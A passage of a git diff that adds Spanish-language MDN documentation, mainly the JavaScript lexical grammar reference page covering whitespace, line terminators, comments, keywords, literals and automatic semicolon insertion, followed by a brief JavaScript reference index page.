+   <td>Colocado entre caracteres para evitar que se conecten a ligaduras en ciertos idiomas (<a href="https://en.wikipedia.org/wiki/Zero-width_non-joiner">Wikipedia</a>).</td>
+  </tr>
+  <tr>
+   <td><code>U+200D</code></td>
+   <td>Conector de ancho cero</td>
+   <td>&lt;ZWJ&gt;</td>
+   <td>Colocado entre caracteres que normalmente no estarían conectados para hacer que los caracteres se rendericen usando su forma conectada en ciertos idiomas (<a href="https://en.wikipedia.org/wiki/Zero-width_joiner">Wikipedia</a>).</td>
+  </tr>
+  <tr>
+   <td><code>U+FEFF</code></td>
+   <td>Marca de orden de bytes</td>
+   <td>&lt;BOM&gt;</td>
+   <td>Se usa al comienzo del script para marcarlo como Unicode y el orden de bytes del texto (<a href="https://en.wikipedia.org/wiki/Marca_de_orden_de_bytes">Wikipedia</a>).</td>
+  </tr>
+ </thead>
+</table>
+
+<h2 id="Espacio_en_blanco">Espacio en blanco</h2>
+
+<p>Los caracteres de {{Glossary("Espacio_en_blanco")}} mejoran la legibilidad del texto fuente y separan los fragmentos entre sí. Estos caracteres suelen ser innecesarios para la funcionalidad del código. Las <a href="https://en.wikipedia.org/wiki/Minification_%28programming%29">herramientas de minificación</a> se utilizan a menudo para eliminar espacios en blanco con el fin de reducir la cantidad de datos que se deben transferir.</p>
+
+<table class="standard-table">
+ <caption>Caracteres de espacio en blanco</caption>
+ <thead>
+  <tr>
+   <th>Punto de código</th>
+   <th>Nombre</th>
+   <th>Abreviatura</th>
+   <th>Descripción</th>
+   <th>Secuencia de escape</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>U+0009</td>
+   <td>Caracter de tabulación</td>
+   <td>&lt;HT&gt;</td>
+   <td>Tabulación horizontal</td>
+   <td>\t</td>
+  </tr>
+  <tr>
+   <td>U+000B</td>
+   <td>Tabulación de línea</td>
+   <td>&lt;VT&gt;</td>
+   <td>Tabulación vertical</td>
+   <td>\v</td>
+  </tr>
+  <tr>
+   <td>U+000C</td>
+   <td>Avance de Página</td>
+   <td>&lt;FF&gt;</td>
+   <td>Carácter de control de salto de página (<a href="https://en.wikipedia.org/wiki/Page_break#Form_feed">Wikipedia</a>).</td>
+   <td>\f</td>
+  </tr>
+  <tr>
+   <td>U+0020</td>
+   <td>Espacio</td>
+   <td>&lt;SP&gt;</td>
+   <td>Espacio normal</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>U+00A0</td>
+   <td>Espacio irrompible</td>
+   <td>&lt;NBSP&gt;</td>
+   <td>Espacio normal, pero ningún punto en el que una línea se pueda romper</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Otros</td>
+   <td>Otros caracteres de espacio Unicode</td>
+   <td>&lt;USP&gt;</td>
+   <td><a href="https://es.wikipedia.org/wiki/Espacio_(puntuaci%C3%B3n)">Espacios Unicode en Wikipedia</a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Terminadores_de_línea">Terminadores de línea</h2>
+
+<p>Además de los caracteres de {{Glossary("Espacio_en_blanco", "espacio en blanco")}}, los caracteres de terminación de línea se utilizan para mejorar la legibilidad del texto fuente. Sin embargo, en algunos casos, los terminadores de línea pueden influir en la ejecución del código JavaScript, ya que hay algunos lugares donde están prohibidos. Los terminadores de línea también afectan el proceso de la <a href="#Inserción_automática_de_punto_y_coma">inserción automática de punto y coma</a>. Los terminadores de línea se corresponden con la clase <strong>\s</strong> en <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions">expresiones regulares</a>.</p>
+
+<p>Solo los siguientes puntos de código Unicode se tratan como terminadores de línea en ECMAScript, otros caracteres de salto de línea se tratan como espacios en blanco (por ejemplo, <code>Next Line</code>, <code>NEL</code>, <code>U+0085</code> se consideran como espacios en blanco).</p>
+
+<table class="standard-table">
+ <caption>Caracteres terminadores de línea</caption>
+ <thead>
+  <tr>
+   <th>Punto de código</th>
+   <th>Nombre</th>
+   <th>Abreviatura</th>
+   <th>Descripción</th>
+   <th>Secuencia de escape</th>
+  </tr>
+ </thead>
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <td>U+000A</td>
+   <td>Alimentación de linea</td>
+   <td>&lt;LF&gt;</td>
+   <td>Caracter de nueva línea en sistemas UNIX.</td>
+   <td>\n</td>
+  </tr>
+  <tr>
+   <td>U+000D</td>
+   <td>Retorno de carro</td>
+   <td>&lt;CR&gt;</td>
+   <td>Caracter de nueva línea en Commodore y los primeros sistemas Mac.</td>
+   <td>\r</td>
+  </tr>
+  <tr>
+   <td>U+2028</td>
+   <td>Separador de línea</td>
+   <td>&lt;LS&gt;</td>
+   <td><a href="https://es.wikipedia.org/wiki/Nueva_l%C3%ADnea">Wikipedia</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>U+2029</td>
+   <td>Separador de párrafos</td>
+   <td>&lt;PS&gt;</td>
+   <td><a href="https://es.wikipedia.org/wiki/Nueva_l%C3%ADnea">Wikipedia</a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Comentarios">Comentarios</h2>
+
+<p>Los comentarios se utilizan para agregar consejos, notas, sugerencias o advertencias al código JavaScript. Esto puede facilitar su lectura y comprensión. También se pueden utilizar para deshabilitar el código y evitar que se ejecute; esta puede ser una valiosa herramienta de depuración.</p>
+
+<p>JavaScript tiene dos formas antiguas de agregar comentarios al código.</p>
+
+<p>La primera forma son las dobles barras inclinadas <code>//</code> comentario<strong>;</strong> esta convierte en comentario todo el texto que le sigue en la misma línea. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">function comment() {
+  // Este es un comentario JavaScript de una línea
+  console.log('¡Hola mundo!');
+}
+comment();
+</pre>
+
+<p>La segunda forma es el estilo <code>/* */</code>, que es mucho más flexible.</p>
+
+<p>Por ejemplo, lo puedes usar en una sola línea:</p>
+
+<pre class="brush: js notranslate">function comment() {
+  /* Este es un comentario JavaScript de una línea */
+  console.log('¡Hola mundo!');
+}
+comment();</pre>
+
+<p>También puedes hacer comentarios de varias líneas, como este:</p>
+
+<pre class="brush: js notranslate">function comment() {
+  /* Este comentario abarca varias líneas. Aviso
+     No necesitamos cerrar el comentario hasta que terminemos. */
+  console.log('¡Hola mundo!');
+}
+comment();</pre>
+
+<p>También lo puedes usar en medio de una línea, si lo deseas, aunque esto puede hacer que tu código sea más difícil de leer, por lo que se debe usar con precaución:</p>
+
+<pre class="brush: js notranslate">function comment(x) {
+  console.log('¡Hola' + x /* inserta el valor de x */ + ' !');
+}
+comment('mundo');</pre>
+
+<p>Además, lo puedes usar para deshabilitar el código y evitar que se ejecute, envolviendo el código en un comentario, como este:</p>
+
+<pre class="brush: js notranslate">function comment() {
+  /* console.log('¡Hola mundo!'); */
+}
+comment();</pre>
+
+<p>En este caso, la llamada a <code>console.log()</code> nunca se emite, debido a que está dentro de un comentario. De esta forma se puede desactivar cualquier número de líneas de código.</p>
+
+<h2 id="Comentarios_hashbang">Comentarios <code>hashbang</code></h2>
+
+<p>Una sintaxis de tercer comentario especializado, el <strong>comentario <code>hashbang</code></strong>, está en proceso de estandarización en ECMAScript (consulta la <a href="https://github.com/tc39/proposal-hashbang">Propuesta de gramática <code>Hashbang</code></a>).</p>
+
+<p>Un comentario <code>hashbang</code> se comporta exactamente como un comentario de una sola línea (<code>//</code>). En cambio, comienza con <code>#!</code> y <strong>solo son válidos al comienzo absoluto de un script o módulo</strong>. También ten en cuenta que no se permiten espacios en blanco de ningún tipo antes del <code>#!</code>. El comentario consta de todos los caracteres después de <code>#!</code> hasta el final de la primera línea; sólo se permite uno de esos comentarios.</p>
+
+<p>El comentario <code>hashbang</code> especifica la ruta a un intérprete de JavaScript específico que deseas utilizar para ejecutar el script. Aquí tienes un sencillo ejemplo:</p>
+
+<pre class="brush: js notranslate">#!/usr/bin/env node
+
+console.log("Hola mundo");
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los comentarios <code>hashbang</code> en JavaScript imitan a los <a href="https://en.wikipedia.org/wiki/Shebang_(Unix)"><code>shebangs</code> en Unix</a> utilizados para ejecutar archivos con el intérprete apropiado.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p>Aunque <a href="https://https://es.wikipedia.org/wiki/Marca_de_orden_de_bytes">BOM</a> antes de que el comentario <code>hashbang</code> funcione en un navegador, no se recomienda utilizar BOM en un script con <code>hashbang</code>. BOM no funcionará cuando intentes ejecutar el script en Unix/Linux. Por lo tanto, usa UTF-8 sin BOM si deseas ejecutar scripts directamente desde el intérprete.</p>
+</div>
+
+<p>¡Solo debes usar el estilo de comentario <code>#!</code> para especificar un intérprete de JavaScript. En todos los demás casos, utiliza un comentario <code>//</code> (o un comentario multilínea).</p>
+
+<h2 id="Palabras_clave">Palabras clave</h2>
+
+<h3 id="Palabras_clave_reservadas_a_partir_de_ECMAScript_2015">Palabras clave reservadas a partir de ECMAScript 2015</h3>
+
+<ul class="threecolumns">
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/switch", "case")}}</li>
+ <li>{{jsxref("Statements/try...catch", "catch")}}</li>
+ <li>{{jsxref("Statements/class", "class")}}</li>
+ <li>{{jsxref("Statements/const", "const")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/debugger", "debugger")}}</li>
+ <li>{{jsxref("Statements/default", "default")}}</li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Statements/do...while", "do")}}</li>
+ <li>{{jsxref("Statements/if...else", "else")}}</li>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li>{{jsxref("Statements/class", "extends")}}</li>
+ <li>{{jsxref("Statements/try...catch", "finally")}}</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Statements/if...else", "if")}}</li>
+ <li>{{jsxref("Statements/import", "import")}}</li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Operators/new", "new")}}</li>
+ <li>{{jsxref("Statements/return", "return")}}</li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+ <li>{{jsxref("Operators/this", "this")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/try...catch", "try")}}</li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li>{{jsxref("Statements/var", "var")}}</li>
+ <li>{{jsxref("Operators/void", "void")}}</li>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/with", "with")}}</li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+</ul>
+
+<h3 id="Futuras_palabras_clave_reservadas">Futuras palabras clave reservadas</h3>
+
+<p>Las siguientes están reservadas como palabras clave futuras por la especificación ECMAScript. No tienen ninguna funcionalidad especial en la actualidad, pero es posible que lo hagan en el futuro, por lo que no se pueden utilizar como identificadores.</p>
+
+<p>Estas siempre están reservadas:</p>
+
+<ul>
+ <li><code>enum</code></li>
+</ul>
+
+<p>Las siguientes solo están reservadas cuando se encuentran en código de modo estricto:</p>
+
+<ul class="threecolumns">
+ <li><code>implements</code></li>
+ <li><code>interface</code></li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li><code>package</code></li>
+ <li><code>private</code></li>
+ <li><code>protected</code></li>
+ <li><code>public</code></li>
+ <li><code>static</code></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+</ul>
+
+<p>Las siguientes solo están reservadas cuando se encuentran en código de módulo:</p>
+
+<ul>
+ <li><code>await</code></li>
+</ul>
+
+<h4 id="Futuras_palabras_clave_reservadas_en_estándares_más_antiguos">Futuras palabras clave reservadas en estándares más antiguos</h4>
+
+<p>Las siguientes están reservadas como palabras clave futuras según las especificaciones de ECMAScript anteriores (ECMAScript 1 a 3).</p>
+
+<ul class="threecolumns">
+ <li><code>abstract</code></li>
+ <li><code>boolean</code></li>
+ <li><code>byte</code></li>
+ <li><code>char</code></li>
+ <li><code>double</code></li>
+ <li><code>final</code></li>
+ <li><code>float</code></li>
+ <li><code>goto</code></li>
+ <li><code>int</code></li>
+ <li><code>long</code></li>
+ <li><code>native</code></li>
+ <li><code>short</code></li>
+ <li><code>synchronized</code></li>
+ <li><code>throws</code></li>
+ <li><code>transient</code></li>
+ <li><code>volatile</code></li>
+</ul>
+
+<p>Además, los literales <code>null</code>, <code>true</code> y <code>false</code> no se pueden utilizar como identificadores en ECMAScript.</p>
+
+<h3 id="Uso_de_palabras_reservadas">Uso de palabras reservadas</h3>
+
+<p>Las palabras reservadas en realidad solo se aplican a los <em>identificadores</em> (frente a los <em>nombres de identificadores</em>). Como se describe en <a href="http://es5.github.com/#A.1">es5.github.com/#A.1</a>, todos estos son <em>IdentifierName</em>s que no excluyen <em>Palabras reservadas</em>.</p>
+
+<pre class="brush: js notranslate">a.import
+a['import']
+a = { import: 'test' }.
+</pre>
+
+<p>Por otro lado, lo siguiente es ilegal porque es un <em>Identificador</em>, que es un <em>IdentifierName</em> sin palabras reservadas. Los identificadores se utilizan para <em>FunctionDeclaration</em>, <em>FunctionExpression</em>, <em>VariableDeclaration</em> y así sucesivamente. Los <em>IdentifierNames</em> se utilizan para <em>MemberExpression</em>, <em>CallExpression</em> y así sucesivamente.</p>
+
+<pre class="brush: js notranslate">function import() {} // Ilegal.</pre>
+
+<h3 id="Identificadores_con_significado_especial">Identificadores con significado especial</h3>
+
+<p>Algunos identificadores tienen un significado especial en algunos contextos sin ser palabras clave de ningún tipo. Estos incluyen:</p>
+
+<ul class="threecolumns">
+ <li>{{jsxref("Functions/arguments", "arguments")}}</li>
+ <li>{{jsxref("Functions/get", "get")}}</li>
+ <li>{{jsxref("Functions/set", "set")}}</li>
+</ul>
+
+<h2 id="Literales">Literales</h2>
+
+<h3 id="null_literal"><code>null</code> literal</h3>
+
+<p>Consulta también {{jsxref("null")}} para obtener más información.</p>
+
+<pre class="brush: js notranslate">null</pre>
+
+<h3 id="Booleanos_literales">Booleanos literales</h3>
+
+<p>Consulta también {{jsxref("Boolean", "Booleano")}} para obtener más información.</p>
+
+<pre class="brush: js notranslate">true
+false</pre>
+
+<h3 id="Literales_numéricos">Literales numéricos</h3>
+
+<p>Los tipos {{jsxref("Number")}} y {{jsxref("BigInt")}} usan literales numéricos.</p>
+
+<h4 id="Decimal">Decimal</h4>
+
+<pre class="brush: js notranslate">1234567890
+42
+
+// Precaución al usar con un cero a la izquierda:
+0888 // 888 procesado como decimal
+0777 // procesado como octal, 511 en decimal
+</pre>
+
+<p>Ten en cuenta que los decimales literales pueden comenzar con un cero (<code>0</code>) seguido de otro dígito decimal, pero si todos los dígitos después del <code>0</code> inicial son menores que 8, el número se interpreta como un número octal. Esto no arrojará JavaScript, consulta <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=957513">error 957513</a>. Consulta también la página sobre {{jsxref("parseInt", "parseInt()")}}</p>
+
+<h5 id="Exponencial">Exponencial</h5>
+
+<p>El literal exponencial decimal se especifica mediante el siguiente formato: <code>beN</code>; donde <code>b</code> es un número base (entero o flotante), seguido del caracter <code>e</code> (que sirve como separador o <em>indicador de exponente</em>) y <code>N</code>, que es un número <em>exponente</em> o <em>potencia</em>: un entero con signo (según las especificaciones ECMA-262 de 2019):</p>
+
+<pre class="brush: js notranslate">0e-5   // =&gt; 0
+0e+5   // =&gt; 0
+5e1    // =&gt; 50
+175e-2 // =&gt; 1.75
+1e3    // =&gt; 1000
+1e-3   // =&gt; 0.001
+</pre>
+
+<h4 id="Binario">Binario</h4>
+
+<p>La sintaxis de números binarios utiliza un cero inicial seguido de una letra "B" latina en minúscula o mayúscula (<code>0b</code> o <code>0B</code>). Debido a que esta sintaxis es nueva en ECMAScript 2015, consulta la tabla de compatibilidad del navegador a continuación. Si los dígitos después de <code>0b</code> no son 0 o 1, se muestra el siguiente {{jsxref("SyntaxError")}}: "Faltan dígitos binarios después de 0b".</p>
+
+<pre class="brush: js notranslate">var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h4 id="Octal">Octal</h4>
+
+<p>La sintaxis de números octales utiliza un cero inicial seguido de una letra "O" latina en minúscula o mayúscula (<code>0o</code> o <code>0O</code>). Debido a que esta sintaxis es nueva en ECMAScript 2015, consulta la tabla de compatibilidad del navegador a continuación. Si los dígitos después del <code>0o</code> están fuera del rango (01234567), se lanza el siguiente {{jsxref("SyntaxError")}}: "Dígitos octales faltantes después del 0o".</p>
+
+<pre class="brush: js notranslate">var n = 0O755; // 493
+var m = 0o644; // 420
+
+// También es posible con solo un cero inicial (ve la nota sobre los decimales arriba)
+0755
+0644
+</pre>
+
+<h4 id="Hexadecimal">Hexadecimal</h4>
+
+<p>La sintaxis de números hexadecimales utiliza un cero inicial seguido de una letra "X" latina en minúscula o mayúscula (<code>0x</code> o <code>0X</code>). Si los dígitos después de 0x están fuera del rango (0123456789ABCDEF), se lanza el siguiente {{jsxref("SyntaxError")}}: "El identificador comienza inmediatamente después del literal numérico".</p>
+
+<pre class="brush: js notranslate">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+</pre>
+
+<h4 id="BigInt_literal">BigInt literal</h4>
+
+<p>El tipo {{jsxref("BigInt")}} es una primitiva numérica en JavaScript que puede representar números enteros con precisión arbitraria. Los BigInt literales se crean agregando <code>n</code> al final de un número entero.</p>
+
+<pre class="brush: js notranslate">123456789123456789n     // 123456789123456789
+0o777777777777n         // 68719476735
+0x123456789ABCDEFn      // 81985529216486895‬
+0b11101001010101010101n // 955733
+</pre>
+
+<p>Ten en cuenta que los números octales heredados con solo un cero a la izquierda no funcionarán para <code>BigInt</code>:</p>
+
+<pre class="brush: js example-bad notranslate">// 0755n
+// SyntaxError: sintaxis de BigInt no válida</pre>
+
+<p>Para números <code>BigInt</code> octales, siempre utiliza cero seguido de la letra "o" (mayúscula o minúscula):</p>
+
+<pre class="brush: js example-good notranslate">0o755n</pre>
+
+<p>Para obtener más información sobre <code>BigInt</code>, consulta también <a href="/es/docs/Web/JavaScript/Data_structures#BigInt_type">estructuras de datos JavaScript</a>.</p>
+
+<h4 id="Separadores_numéricos">Separadores numéricos</h4>
+
+<p>Para mejorar la legibilidad de literales numéricos, se pueden usar guiones bajos (<code>_</code>, <code>U+005F</code>) como separadores:</p>
+
+<pre class="brush: js notranslate">// separadores en números decimales
+1_000_000_000_000
+1_050.95
+
+// separadores en números binarios
+0b1010_0001_1000_0101
+
+// separadores en números octales
+0o2_2_5_6
+
+// separadores en números hexadecimales
+0xA0_B0_C0
+
+// separadores en BigInts
+1_000_000_000_000_000_000_000n
+</pre>
+
+<p>Ten en cuenta estas limitaciones:</p>
+
+<pre class="brush: js example-bad notranslate"> // No se permite más de un guión bajo en una fila
+100__000; // SyntaxError
+
+// No permitido al final de literales numéricos
+100_; // SyntaxError
+
+// No se puede usar después de 0
+0_1; // SyntaxError
+</pre>
+
+<h3 id="Objetos_literales">Objetos literales</h3>
+
+<p>Consulta también {{jsxref("Object")}} e <a href="/es/docs/Web/JavaScript/Reference/Operators/Object_initializer">Iniciador de objeto</a> para obtener más información.</p>
+
+<pre class="brush: js notranslate">var o = { a: 'foo', b: 'bar', c: 42 };
+
+// notación abreviada. Nueva en ES2015
+var a = 'foo', b = 'bar', c = 42;
+var o = {a, b, c};
+
+// en vez de
+var o = { a: a, b: b, c: c };
+</pre>
+
+<h3 id="Arreglos_literales">Arreglos literales</h3>
+
+<p>Consulta también {{jsxref("Array")}} para obtener más información.</p>
+
+<pre class="brush: js notranslate">[1954, 1974, 1990, 2014]</pre>
+
+<h3 id="Cadenas_literales">Cadenas literales</h3>
+
+<p>Una cadena literal es cero o más puntos de código Unicode entre comillas simples o dobles. Los puntos de código Unicode también se pueden representar mediante una secuencia de escape. Literalmente todos los puntos de código pueden aparecer en una cadena literal, excepto estos puntos de código de cierre de cita:</p>
+
+<ul>
+ <li>U+005C \ (backslash),</li>
+ <li>U+000D &lt;CR&gt;,</li>
+ <li>y U+000A &lt;LF&gt;.</li>
+</ul>
+
+<p>Antes de la <a href="https://github.com/tc39/proposal-json-superset">propuesta para hacer que todo el texto JSON sea ECMA-262 válido</a>, U+2028 &lt;LS&gt; y U+2029 &lt;PS&gt;, tampoco se permitió que aparecieran sin escape en las cadenas literales.</p>
+
+<p>Cualquier punto de código puede aparecer en forma de secuencia de escape. Las cadenas literales se evalúan como valores de cadena de ECMAScript. Al generar estos valores de cadena, los puntos de código Unicode están codificados en UTF-16.</p>
+
+<pre class="brush: js notranslate">'foo'
+"bar"</pre>
+
+<h4 id="Secuencias_de_escape_hexadecimales">Secuencias de escape hexadecimales</h4>
+
+<p>Las secuencias de escape hexadecimales constan de <code>\x</code> seguido de exactamente dos dígitos hexadecimales que representan una unidad de código o un punto de código en el rango de 0x0000 a 0x00FF.</p>
+
+<pre class="brush: js notranslate">'\xA9' // "©"
+</pre>
+
+<h4 id="Secuencias_de_escape_Unicode">Secuencias de escape Unicode</h4>
+
+<p>Una secuencia de escape Unicode consta exactamente de cuatro dígitos hexadecimales después de <code>\u</code>. Representa una unidad de código en la codificación UTF-16. Para los puntos de código U+0000 a U+FFFF, la unidad de código es igual al punto de código. Los puntos de código U+10000 a U+10FFFF requieren dos secuencias de escape que representan las dos unidades de código (un par sustituto) utilizadas para codificar el carácter; el par sustituto es distinto del punto de código.</p>
+
+<p>Consulta también {{jsxref("String.fromCharCode()")}} y {{jsxref("String.prototype.charCodeAt()")}}.</p>
+
+<pre class="brush: js notranslate">'\u00A9' // "©" (U+A9)</pre>
+
+<h4 id="Puntos_de_escape_de_código_Unicode">Puntos de escape de código Unicode</h4>
+
+<p>Un punto de código de escape Unicode consta de <code>\u{</code>, seguido de un punto de código en base hexadecimal, seguido de <code>}</code>. El valor de los dígitos hexadecimales debe estar en el rango 0 y 0x10FFFF inclusive. Los puntos de código en el rango U+10000 a U+10FFFF no necesitan representarse como un par sustituto. Se agregaron puntos de código de escape a JavaScript en ECMAScript 2015 (ES6).</p>
+
+<p>Consulta también {{jsxref("String.fromCodePoint()")}} y {{jsxref("String.prototype.codePointAt()")}}.</p>
+
+<pre class="brush: js notranslate">'\u{2F804}' // CJK COMPATIBILIDAD IDEOGRÁFICA-2F804 (U+2F804)
+
+// el mismo caracter representado como un par suplente
+'\uD87E\uDC04'</pre>
+
+<h3 id="Expresión_regular_literal">Expresión regular literal</h3>
+
+<p>Consulta también {{jsxref("RegExp")}} para obtener más información.</p>
+
+<pre class="brush: js notranslate">/ab+c/g
+
+// Una expresión regular literal "vacía"
+// El grupo de no captura vacío es necesario
+// para evitar la ambigüedad con comentarios de una sola línea.
+/(?:)/</pre>
+
+<h3 id="Plantillas_literales">Plantillas literales</h3>
+
+<p>Consulta también <a href="/es/docs/Web/JavaScript/Reference/template_strings">cadenas de plantilla</a> para obtener más información.</p>
+
+<pre class="brush: js notranslate">`string text`
+
+`string text line 1
+ string text line 2`
+
+`string text ${expression} string text`
+
+tag `string text ${expression} string text`</pre>
+
+<h2 id="Inserción_automática_de_punto_y_coma">Inserción automática de punto y coma</h2>
+
+<p>Algunas <a href="/es/docs/Web/JavaScript/Reference/Statements">declaraciones JavaScript</a> se deben terminar con punto y coma y, por lo tanto, se ven afectadas por la inserción automática del punto y coma (IAPC):</p>
+
+<ul>
+ <li>Declaración vacía</li>
+ <li><code>let</code>, <code>const</code>, declaración de variable</li>
+ <li><code>import</code>, <code>export</code>, declaración de módulo</li>
+ <li>Declaración de expresión</li>
+ <li><code>debugger</code></li>
+ <li><code>continue</code>, <code>break</code>, <code>throw</code></li>
+ <li><code>return</code></li>
+</ul>
+
+<p>La especificación ECMAScript menciona <a href="https://tc39.github.io/ecma262/#sec-rules-of-automatic-semicolon-insertion">tres reglas de inserción de punto y coma</a>.</p>
+
+<p>1. Se inserta un punto y coma antes, cuando se encuentra un <a href="#Line_terminators">terminador de línea</a> o "}" que no está permitido por la gramática.</p>
+
+<pre class="brush: js notranslate">{ 1 2 } 3
+
+// La IAPC lo transforma en
+
+{ 1 2 ;} 3;</pre>
+
+<p>2. Se inserta un punto y coma al final, cuando se detecta el final del flujo de entrada de símbolos y el analizador no puede procesar el único flujo de entrada como un programa completo.</p>
+
+<p>Aquí <code>++</code> no se trata como un <a href="/es/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">operador sufijo</a> que se aplica a la variable <code>b</code>, porque se produce un terminador de línea entre <code>b</code> y <code>++</code>.</p>
+
+<pre class="brush: js notranslate">a = b
+++c
+
+// IAPC lo transforma en
+
+a = b;
+++c;
+</pre>
+
+<p>3. Se inserta un punto y coma al final, cuando una declaración con producción restringida en la gramática va seguida de un terminador de línea. Estas declaraciones con reglas "no LineTerminator aquí" son:</p>
+
+<ul>
+ <li>PostfixExpressions (<code>++</code> y <code>--</code>)</li>
+ <li><code>continue</code></li>
+ <li><code>break</code></li>
+ <li><code>return</code></li>
+ <li><code>yield</code>, <code>yield*</code></li>
+ <li><code>module</code></li>
+</ul>
+
+<pre class="brush: js notranslate">return
+a + b
+
+// La IAPC lo transforma en
+
+return;
+a + b;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-lexical-grammar', 'Gramática léxica')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.grammar")}}</p>
+
+<h3 id="Progreso_de_la_implementación">Progreso de la implementación</h3>
+
+<p>La siguiente tabla proporciona un estado de implementación diario para esta función, porque esta función aún no ha alcanzado la estabilidad entre navegadores. Los datos se generan al ejecutar las pruebas de funciones relevantes en <a href="https://github.com/tc39/test262">Test262</a>, el conjunto de pruebas estándar de JavaScript, en la compilación nocturna o en la última versión del motor JavaScript de cada navegador.</p>
+
+<div>{{EmbedTest262ReportResultsTable("hashbang")}}</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="http://whereswalden.com/2013/08/12/micro-feature-from-es6-now-in-firefox-aurora-and-nightly-binary-and-octal-numbers/">Jeff Walden: números binarios y octales</a></li>
+ <li><a href="http://mathiasbynens.be/notes/javascript-escapes">Mathias Bynens: caracteres de secuencias de escape JavaScript</a></li>
+ <li>{{jsxref("Boolean", "Booleanos")}}</li>
+ <li>{{jsxref("Number", "Números")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("String", "Cadenas de texto (Strings)")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/index.html b/files/es/web/javascript/referencia/index.html
new file mode 100644
index 0000000000..29d75a4161
--- /dev/null
+++ b/files/es/web/javascript/referencia/index.html
@@ -0,0 +1,31 @@
+---
+title: Referencia de JavaScript
+slug: Web/JavaScript/Referencia
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference
+---
+<p>{{JsSidebar}}</p>
+
+<h2 id="Objetos_globales" name="Objetos_globales"><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales">Objetos globales</a></h2>
+
+<div>{{page('/es/docs/Web/JavaScript/Referencia/Objetos_globales', 'Objetos_est.C3.A1ndar_(por_categor.C3.ADa)')}}</div>
+
+<h2 id="Sentencias" name="Sentencias"><a href="/es/docs/Web/JavaScript/Referencia/Sentencias">Sentencias</a></h2>
+
+<p>{{page('/es/docs/Web/JavaScript/Referencia/Sentencias', 'Statements_and_declarations_by_category')}}</p>
+
+<h2 id="Operadores" name="Operadores"><a href="/es/docs/Web/JavaScript/Referencia/Operadores">Expresiónes y Operadores</a></h2>
+
+<p>{{page('/es/docs/Web/JavaScript/Referencia/Operadores', 'Expressions_and_operators_by_category')}}</p>
+
+<h2 id="Gramática_léxica"><a href="/es/docs/Web/JavaScript/Reference/Gramatica_lexica">Gramática léxica</a></h2>
+
+<ul>
+ <li><a href="/es/Referencia_de_JavaScript_1.5/Comentarios/comentario" title="es/Referencia_de_JavaScript_1.5/Comentarios/comentario">comentarios en el Código</a> (<code>//</code> and <code>/* */</code>)</li>
+ <li><a href="/es/Referencia_de_JavaScript_1.5/Palabras_Reservadas" title="es/Referencia_de_JavaScript_1.5/Palabras_Reservadas">Palabras reservadas</a></li>
+</ul>
+
+<h2 id="Ap.C3.A9ndice_B_-_Caracter.C3.ADsticas_Desprobadas" name="Ap.C3.A9ndice_B_-_Caracter.C3.ADsticas_Desprobadas"><a href="/es/docs/Web/JavaScript/Referencia/Caracter%C3%ADsticas_Desaprobadas" title="es/Referencia_de_JavaScript_1.5/Características_Desaprobadas">Apéndice - Características Desaprobadas</a></h2>
+
+<p><span class="comment">Original Document At: <a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.5/reference/" rel="freelink">http://devedge-temp.mozilla.org/libr...1.5/reference/</a></span></p>
diff --git a/files/es/web/javascript/referencia/iteration_protocols/index.html b/files/es/web/javascript/referencia/iteration_protocols/index.html
new file mode 100644
index 0000000000..7d8d31f2cd
--- /dev/null
